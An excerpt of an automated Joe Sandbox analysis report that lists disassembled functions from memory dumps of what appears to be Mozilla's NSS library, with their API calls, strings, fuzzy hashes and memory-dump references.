EnterCriticalSection.KERNEL32(?,?,?,?,6CF53921,6D1314E4,6D09CC70), ref: 6CF54CB0
PR_Unlock.NSS3(?,?,?,?,?,6CF53921,6D1314E4,6D09CC70), ref: 6CF54CC9
TlsGetValue.KERNEL32(?,?,?,?,?,6CF53921,6D1314E4,6D09CC70), ref: 6CF54D11
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6CF53921,6D1314E4,6D09CC70), ref: 6CF54D2A
PR_NotifyAllCondVar.NSS3(?,?,?,?,?,?,?,6CF53921,6D1314E4,6D09CC70), ref: 6CF54D4A
PR_Unlock.NSS3(?,?,?,?,?,?,?,6CF53921,6D1314E4,6D09CC70), ref: 6CF54D57
PR_GetCurrentThread.NSS3(?,?,?,?,?,6CF53921,6D1314E4,6D09CC70), ref: 6CF54D97
PR_Lock.NSS3(?,?,?,?,?,6CF53921,6D1314E4,6D09CC70), ref: 6CF54DBA
PR_WaitCondVar.NSS3 ref: 6CF54DD4
PR_Unlock.NSS3(?,?,?,?,?,6CF53921,6D1314E4,6D09CC70), ref: 6CF54DE6
PR_GetCurrentThread.NSS3(?,?,?,?,?,6CF53921,6D1314E4,6D09CC70), ref: 6CF54DEF

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Unlock$CondCriticalCurrentEnterSectionThreadValue$LockNotifyWait
String ID:
API String ID: 3388019835-0
Opcode ID: 35eb78318c0ef4f6db11a25fefb7e12f430f64f6d784814f04d833e2cebca5d5
Instruction ID: 2bc6d2eb12e70e486a2e0b99a2ec12d263ecfa867b976db6b4c1411679bc890e
Opcode Fuzzy Hash: 35eb78318c0ef4f6db11a25fefb7e12f430f64f6d784814f04d833e2cebca5d5
Instruction Fuzzy Hash: 3C419DB6908655CFCB10AFB8E48825ABBF4BF46314F464669D9889B710E770D8F0CB91

Function 6CFD38E0 Relevance: 18.1, APIs: 12, Instructions: 83COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,?,6CFD38A8,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CFD38FF
EnterCriticalSection.KERNEL32(?,?,?,?,6CFD38A8), ref: 6CFD3918
PL_HashTableDestroy.NSS3(?,?,?,?,?,6CFD38A8), ref: 6CFD392C
PR_Unlock.NSS3(?,?,?,?,?,6CFD38A8), ref: 6CFD3941
DeleteCriticalSection.KERNEL32(?,?,?,?,?,6CFD38A8), ref: 6CFD3952
free.MOZGLUE(?,?,?,?,?,?,6CFD38A8), ref: 6CFD395E
TlsGetValue.KERNEL32(00000000,?,?,6CFD38A8,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CFD3981
EnterCriticalSection.KERNEL32(?,?,?,?,6CFD38A8), ref: 6CFD3996
PL_HashTableDestroy.NSS3(?,?,?,?,?,6CFD38A8), ref: 6CFD39AA
PR_Unlock.NSS3(?,?,?,?,?,6CFD38A8), ref: 6CFD39BF
DeleteCriticalSection.KERNEL32(?,?,?,?,?,6CFD38A8), ref: 6CFD39D0
free.MOZGLUE(?,?,?,?,?,?,6CFD38A8), ref: 6CFD39DC

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: CriticalSection$DeleteDestroyEnterHashTableUnlockValuefree
String ID:
API String ID: 2967110932-0
Opcode ID: 713453287df631c8d52a21c449b33bd6a675bad7dfc596bec312d0d8a18664d7
Instruction ID: 855ed71bba551ff6d384834982501753f64ee1e18502b687f389a93351c1d850
Opcode Fuzzy Hash: 713453287df631c8d52a21c449b33bd6a675bad7dfc596bec312d0d8a18664d7
Instruction Fuzzy Hash: EE312DB98046069BDB20BFB8E049759BBF5BB46304F064629D99593600E7B1E4EDCBC2

Function 6D0E7CD0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 113threadstringCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6D0E7CE0

Part of subcall function 6D099BF0: TlsGetValue.KERNEL32(?,?,?,6D0E0A75), ref: 6D099C07

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6D0E7D36
PR_Realloc.NSS3(?,00000080), ref: 6D0E7D6D
PR_GetCurrentThread.NSS3 ref: 6D0E7D8B
PR_snprintf.NSS3(?,?,NSPR_INHERIT_FDS=%s:%d:0x%lx,?,?,?), ref: 6D0E7DC2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6D0E7DD8
malloc.MOZGLUE(00000080), ref: 6D0E7DF8
PR_GetCurrentThread.NSS3 ref: 6D0E7E06

Strings

:%s:%d:0x%lx, xrefs: 6D0E7DB9
NSPR_INHERIT_FDS=%s:%d:0x%lx, xrefs: 6D0E7DF0

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: CurrentThread$strlen$R_snprintfReallocValuemalloc
String ID: :%s:%d:0x%lx$NSPR_INHERIT_FDS=%s:%d:0x%lx
API String ID: 530461531-3274975309
Opcode ID: feceb1ed1bf37fe411363401314a0b13d35ee49a4420e386cdab4caf65e1fc23
Instruction ID: 6c464e0d96c272c162fade52e64c2b7e798b37aaa0ea3540623fad00f09b0392
Opcode Fuzzy Hash: feceb1ed1bf37fe411363401314a0b13d35ee49a4420e386cdab4caf65e1fc23
Instruction Fuzzy Hash: 8A4182B1E042069FEB08CF28DC80A7A37BAFFC4354B15856DE9198B252D731E845C791

Function 6D0E7E20 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 103filestringpipeCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6D0E7E37
PR_GetEnvSecure.NSS3(NSPR_INHERIT_FDS), ref: 6D0E7E46

Part of subcall function 6CFC1240: TlsGetValue.KERNEL32(00000040,?,6CFC116C,NSPR_LOG_MODULES), ref: 6CFC1267
Part of subcall function 6CFC1240: EnterCriticalSection.KERNEL32(?,?,?,6CFC116C,NSPR_LOG_MODULES), ref: 6CFC127C
Part of subcall function 6CFC1240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CFC116C,NSPR_LOG_MODULES), ref: 6CFC1291
Part of subcall function 6CFC1240: PR_Unlock.NSS3(?,?,?,?,6CFC116C,NSPR_LOG_MODULES), ref: 6CFC12A0

PR_sscanf.NSS3(00000001,%d:0x%lx,?,?), ref: 6D0E7EAF
PR_ImportFile.NSS3(?), ref: 6D0E7ECF
PR_GetCurrentThread.NSS3 ref: 6D0E7ED6
PR_ImportTCPSocket.NSS3(?), ref: 6D0E7F01
PR_ImportUDPSocket.NSS3(?,?), ref: 6D0E7F0B
PR_ImportPipe.NSS3(?,?,?), ref: 6D0E7F15

Strings

NSPR_INHERIT_FDS, xrefs: 6D0E7E41
%d:0x%lx, xrefs: 6D0E7EA9

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Import$Socket$CriticalCurrentEnterFilePipeR_sscanfSectionSecureThreadUnlockValuegetenvstrlen
String ID: %d:0x%lx$NSPR_INHERIT_FDS
API String ID: 2743735569-629032437
Opcode ID: b857beaf70621ea60e920720364afd926f90d7cce4e81114f25537167a8c5c70
Instruction ID: d13c9df51c111184eb97d2b12845ef4a9ec515c67d0a295a0b2e443ae4649cb6
Opcode Fuzzy Hash: b857beaf70621ea60e920720364afd926f90d7cce4e81114f25537167a8c5c70
Instruction Fuzzy Hash: E1312C70E0811A9FFB019B698840BBFB7E9BF8A384F508465DA01A7313E7A19D04C7D2

Function 6D01ECE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,00000000,?,?,6D01DE64), ref: 6D01ED0C
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6D01ED22

Part of subcall function 6D02B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6D1018D0,?), ref: 6D02B095

PL_FreeArenaPool.NSS3(?), ref: 6D01ED4A
PL_FinishArenaPool.NSS3(?), ref: 6D01ED6B
PR_CallOnce.NSS3(6D132AA4,6D0312D0), ref: 6D01ED38

Part of subcall function 6CF54C70: TlsGetValue.KERNEL32(?,?,?,6CF53921,6D1314E4,6D09CC70), ref: 6CF54C97
Part of subcall function 6CF54C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CF53921,6D1314E4,6D09CC70), ref: 6CF54CB0
Part of subcall function 6CF54C70: PR_Unlock.NSS3(?,?,?,?,?,6CF53921,6D1314E4,6D09CC70), ref: 6CF54CC9

SECOID_FindOID_Util.NSS3(?), ref: 6D01ED52
PR_CallOnce.NSS3(6D132AA4,6D0312D0), ref: 6D01ED83
PL_FreeArenaPool.NSS3(?), ref: 6D01ED95
PL_FinishArenaPool.NSS3(?), ref: 6D01ED9D

Part of subcall function 6D0364F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6D03127C,00000000,00000000,00000000), ref: 6D03650E

Strings

security, xrefs: 6D01ED06

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: ArenaPool$CallFinishFreeOnceUtil$CriticalDecodeEnterErrorFindInitItem_QuickSectionUnlockValuefree
String ID: security
API String ID: 3323615905-3315324353
Opcode ID: 39634ec46c78e6303fc08bcaac6a31ed2cd4c133abc6e019c534553da8279851
Instruction ID: 82d6e0afa1bd9a8972aecce162e794bf0a6db7e9f3eeac171dee4ef3315ca160
Opcode Fuzzy Hash: 39634ec46c78e6303fc08bcaac6a31ed2cd4c133abc6e019c534553da8279851
Instruction Fuzzy Hash: 30115735D0C22667F72067A1AC44B7F72B8AF4160CF830435E954A7982FB64A61886D7

Function 6D0E0EB0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Aborting,?,6CFC2357), ref: 6D0E0EB8
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(6CFC2357), ref: 6D0E0EC0
PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6D0E0EE6

Part of subcall function 6D0E09D0: PR_Now.NSS3 ref: 6D0E0A22
Part of subcall function 6D0E09D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6D0E0A35
Part of subcall function 6D0E09D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6D0E0A66
Part of subcall function 6D0E09D0: PR_GetCurrentThread.NSS3 ref: 6D0E0A70
Part of subcall function 6D0E09D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6D0E0A9D
Part of subcall function 6D0E09D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6D0E0AC8
Part of subcall function 6D0E09D0: PR_vsmprintf.NSS3(?,?), ref: 6D0E0AE8
Part of subcall function 6D0E09D0: EnterCriticalSection.KERNEL32(?), ref: 6D0E0B19
Part of subcall function 6D0E09D0: OutputDebugStringA.KERNEL32(00000000), ref: 6D0E0B48
Part of subcall function 6D0E09D0: _PR_MD_UNLOCK.NSS3(?), ref: 6D0E0C76
Part of subcall function 6D0E09D0: PR_LogFlush.NSS3 ref: 6D0E0C7E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6D0E0EFA

Part of subcall function 6CFCAEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6CFCAF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D0E0F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D0E0F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D0E0F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D0E0F2B

Strings

Assertion failure: %s, at %s:%d, xrefs: 6D0E0ED9, 6D0E0EE5, 6D0E0F06, 6D0E0F0B
Aborting, xrefs: 6D0E0EB3

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: DebugPrintR_snprintf__acrt_iob_funcabort$BreakCriticalCurrentEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime__stdio_common_vfprintffflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 3905088656-1374795319
Opcode ID: fb443eed4dad42262d47071421b0c2443a7565fcdd9bfcf449eb053eb04e0b04
Instruction ID: 560dbee7d90e467beddad95ac1e8b9da63c5449c8323c0fc9d6b1ee5c015c2b0
Opcode Fuzzy Hash: fb443eed4dad42262d47071421b0c2443a7565fcdd9bfcf449eb053eb04e0b04
Instruction Fuzzy Hash: 96F0CDB58441087BDF002B92EC49D9B3E3EDF41264F004424FE0956202DBB6E95057F3

Function 6D044DB0 Relevance: 16.9, APIs: 11, Instructions: 395memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400), ref: 6D044DCB

Part of subcall function 6D030FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CFD87ED,00000800,6CFCEF74,00000000), ref: 6D031000
Part of subcall function 6D030FF0: PR_NewLock.NSS3(?,00000800,6CFCEF74,00000000), ref: 6D031016
Part of subcall function 6D030FF0: PL_InitArenaPool.NSS3(00000000,security,6CFD87ED,00000008,?,00000800,6CFCEF74,00000000), ref: 6D03102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000001C), ref: 6D044DE1

Part of subcall function 6D0310C0: TlsGetValue.KERNEL32(?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D0310F3
Part of subcall function 6D0310C0: EnterCriticalSection.KERNEL32(?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D03110C
Part of subcall function 6D0310C0: PL_ArenaAllocate.NSS3(?,?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D031141
Part of subcall function 6D0310C0: PR_Unlock.NSS3(?,?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D031182
Part of subcall function 6D0310C0: TlsGetValue.KERNEL32(?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D03119C

PORT_ArenaAlloc_Util.NSS3(?,0000001C), ref: 6D044DFF
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6D044E59

Part of subcall function 6D02FAB0: free.MOZGLUE(?,-00000001,?,?,6CFCF673,00000000,00000000), ref: 6D02FAC7

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6D10300C,00000000), ref: 6D044EB8
SECOID_FindOID_Util.NSS3(?), ref: 6D044EFF
memcmp.VCRUNTIME140(?,00000000,00000000), ref: 6D044F56
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6D04521A

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_Item_Value$AllocateCriticalDecodeEnterFindFreeInitLockPoolQuickSectionUnlockZfreecallocfreememcmp
String ID:
API String ID: 1025791883-0
Opcode ID: 532b6413f430e6f25cc7f4eea816ff50c08a7f6d219920ebeeefd8f6e68cc6df
Instruction ID: 50c4f1b0a155ce46a4338c0091c4175ffb71cedc928e2473e3d977a91c5cce19
Opcode Fuzzy Hash: 532b6413f430e6f25cc7f4eea816ff50c08a7f6d219920ebeeefd8f6e68cc6df
Instruction Fuzzy Hash: DBF18B75E0420ADBEB04CF54D840BBEB7F2BF49354F258179E914AB281E7B5E981CB90

Function 6D040C60 Relevance: 16.7, APIs: 11, Instructions: 153memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6D042C2A), ref: 6D040C81

Part of subcall function 6D02BE30: SECOID_FindOID_Util.NSS3(6CFE311B,00000000,?,6CFE311B,?), ref: 6D02BE44

Part of subcall function 6D018500: SECOID_GetAlgorithmTag_Util.NSS3(6D0195DC,00000000,00000000,00000000,?,6D0195DC,00000000,00000000,?,6CFF7F4A,00000000,?,00000000,00000000), ref: 6D018517

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6D040CC4

Part of subcall function 6D02FAB0: free.MOZGLUE(?,-00000001,?,?,6CFCF673,00000000,00000000), ref: 6D02FAC7

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6D040CD5
PORT_ZAlloc_Util.NSS3(0000101C), ref: 6D040D1D
PK11_GetBlockSize.NSS3(-00000001,00000000), ref: 6D040D3B
PK11_CreateContextBySymKey.NSS3(-00000001,00000104,?,00000000), ref: 6D040D7D
free.MOZGLUE(00000000), ref: 6D040DB5
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6D040DC1
free.MOZGLUE(00000000), ref: 6D040DF7
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6D040E05
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6D040E0F

Part of subcall function 6D0195C0: SECOID_FindOIDByTag_Util.NSS3(00000000,?,00000000,?,6CFF7F4A,00000000,?,00000000,00000000), ref: 6D0195E0
Part of subcall function 6D0195C0: PK11_GetIVLength.NSS3(?,?,?,00000000,?,6CFF7F4A,00000000,?,00000000,00000000), ref: 6D0195F5
Part of subcall function 6D0195C0: SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6D019609
Part of subcall function 6D0195C0: SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6D01961D
Part of subcall function 6D0195C0: PK11_GetInternalSlot.NSS3 ref: 6D01970B
Part of subcall function 6D0195C0: PK11_FreeSymKey.NSS3(00000000), ref: 6D019756
Part of subcall function 6D0195C0: PK11_GetIVLength.NSS3(?), ref: 6D019767
Part of subcall function 6D0195C0: SECITEM_DupItem_Util.NSS3(00000000), ref: 6D01977E
Part of subcall function 6D0195C0: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6D01978E

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Util$K11_$Tag_$Item_$FindZfree$Algorithmfree$ContextLength$Alloc_BlockCreateDestroyFreeInternalSizeSlot
String ID:
API String ID: 3136566230-0
Opcode ID: 1498c5fd87840e7698047ee8e78e3fe6585ec781bd361836f2417d1fd326f738
Instruction ID: 1a016f7d2473983a18d93c6155585dee46ec319f0aa02313382b89c377f799d9
Opcode Fuzzy Hash: 1498c5fd87840e7698047ee8e78e3fe6585ec781bd361836f2417d1fd326f738
Instruction Fuzzy Hash: AE41A0B5D08206ABFB009F61DC45BAF7AB8EF54318F018034EA156B241E775AA54CBE2

Function 6CFD4FD0 Relevance: 16.6, APIs: 11, Instructions: 112COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(00000001,00000000,6D120148,?,6CFE6FEC), ref: 6CFD502A
PR_NewLock.NSS3(00000001,00000000,6D120148,?,6CFE6FEC), ref: 6CFD5034
PL_NewHashTable.NSS3(00000000,6D02FE80,6D02FD30,6D07C350,00000000,00000000,00000001,00000000,6D120148,?,6CFE6FEC), ref: 6CFD5055
PL_NewHashTable.NSS3(00000000,6D02FE80,6D02FD30,6D07C350,00000000,00000000,?,00000001,00000000,6D120148,?,6CFE6FEC), ref: 6CFD506D

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: HashLockTable
String ID:
API String ID: 3862423791-0
Opcode ID: 2cbadd7ac3c964ba8911415f86674e56ae351c6abe324e687b544977abd363d6
Instruction ID: 99a9d1b3b6ad2638c980bfbee585497e8923de9b58ac7e7b58561cd5c1998556
Opcode Fuzzy Hash: 2cbadd7ac3c964ba8911415f86674e56ae351c6abe324e687b544977abd363d6
Instruction Fuzzy Hash: 9A31EAFAA052109BEF30AB65A948B5B3BBCDB13758F0B8114EA0597640E3F9A444CBD1

Function 6CF72E50 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?), ref: 6CF72F3D
memset.VCRUNTIME140(?,00000000,?), ref: 6CF72FB9
memcpy.VCRUNTIME140(?,00000000,?), ref: 6CF73005
memcpy.VCRUNTIME140(?,?,?), ref: 6CF730EE
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CF73131
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001086C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CF73178

Strings

database corruption, xrefs: 6CF7316C
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CF73022, 6CF73156, 6CF73162, 6CF7318A, 6CF73196, 6CF731A2, 6CF731AE, 6CF731BA, 6CF731C6
%s at line %d of [%.10s], xrefs: 6CF73171

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: memcpy$memsetsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 984749767-598938438
Opcode ID: d747c6179b658ad5c84bc1a165d5b5231b41fcc12b96f0f9175bed9dbc8c274b
Instruction ID: acaef413cc39ea853c6c566bc4d117341182b6efc8e616829329652a800a821e
Opcode Fuzzy Hash: d747c6179b658ad5c84bc1a165d5b5231b41fcc12b96f0f9175bed9dbc8c274b
Instruction Fuzzy Hash: A9B1B071E05229EBCB18CF9CD884AFEBBB2BF48304F15402AE845B7745D7B59845CBA0

Function 6D047F90 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 167COMMON

Download Yara Rule

APIs

